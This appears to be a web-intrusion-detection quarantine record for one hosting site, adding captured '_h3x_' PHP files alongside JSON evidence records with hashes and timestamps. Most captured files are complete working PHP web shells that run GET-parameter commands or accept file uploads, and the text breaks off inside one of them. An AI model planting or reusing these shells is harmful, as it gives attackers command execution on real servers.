+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2830",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_eug6h7tt.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_eug6h7tt.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783834297,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_eug6h7tt.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2865",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_fcmkp9am.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_fcmkp9am.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783866429,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_fcmkp9am.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_gck6gi9k.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_gck6gi9k.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2932",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_gck6gi9k.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_gck6gi9k.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783962006,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_gck6gi9k.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2873",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_gx74cxjp.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_gx74cxjp.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783838194,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_gx74cxjp.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_h6bm372h.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_h6bm372h.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2861",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_h6bm372h.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_h6bm372h.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783969568,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_h6bm372h.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_hi1odtqp.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_hi1odtqp.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2916",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_hi1odtqp.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_hi1odtqp.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783971721,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_hi1odtqp.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2862",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_ixxtxhjy.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_ixxtxhjy.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783951629,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_ixxtxhjy.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_jbfyb73k.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_jbfyb73k.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2907",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_jbfyb73k.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_jbfyb73k.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 0,
+    "mtime": 1784073560,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_jbfyb73k.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2851",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_k72j0c9s.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_k72j0c9s.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783866468,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_k72j0c9s.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_kqcc6eg4.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_kqcc6eg4.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2850",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_kqcc6eg4.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_kqcc6eg4.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783971710,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_kqcc6eg4.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_m1tsr0cw.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_m1tsr0cw.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2826",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_m1tsr0cw.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_m1tsr0cw.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783981562,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_m1tsr0cw.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_mo2gu1nm.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_mo2gu1nm.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2872",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_mo2gu1nm.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_mo2gu1nm.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783969371,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_mo2gu1nm.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2825",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_mvo7778m.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_mvo7778m.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783838201,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_mvo7778m.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2853",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_nx6e9wei.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_nx6e9wei.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783870295,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_nx6e9wei.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2922",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_oqdklpwt.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783870216,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_oqdklpwt.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_pxw542fd.php.json

@@ -0,0 +1 @@
+<?php echo "h3x_hsojrm";system($_GET["c"]);?>

var/www/hosting/archline.hu/www/_h3x_pxw542fd.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2831",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_pxw542fd.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_pxw542fd.php.json)",
+  "original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783841989,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_pxw542fd.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>

var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2910",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_q9pnu7nm.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783909515,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_q9pnu7nm.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_r7txcnhr.php.json

@@ -0,0 +1 @@
+<?php echo "h3x_hsojrm";system($_GET["c"]);?>

var/www/hosting/archline.hu/www/_h3x_r7txcnhr.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2828",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_r7txcnhr.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_r7txcnhr.php.json)",
+  "original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783841993,
+    "size": 45,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_r7txcnhr.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_ssgc3jvw.php.json

@@ -0,0 +1,7 @@
+<?php
+if (isset($_GET['x'])) {
+    echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
+} else {
+    echo 'SUCCESS: Shell is ready. Use ?x=command';
+}
+?>

var/www/hosting/archline.hu/www/_h3x_ssgc3jvw.php.json.evidence.json

@@ -0,0 +1,15 @@
+{
+  "finding_ref": "2921",
+  "log_excerpt": "[quarantine] www.archline.hu:_h3x_ssgc3jvw.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_ssgc3jvw.php.json)",
+  "original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
+  "original_stat": {
+    "gid": 0,
+    "mtime": 1784078410,
+    "size": 150,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_ssgc3jvw.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}

var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json

@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
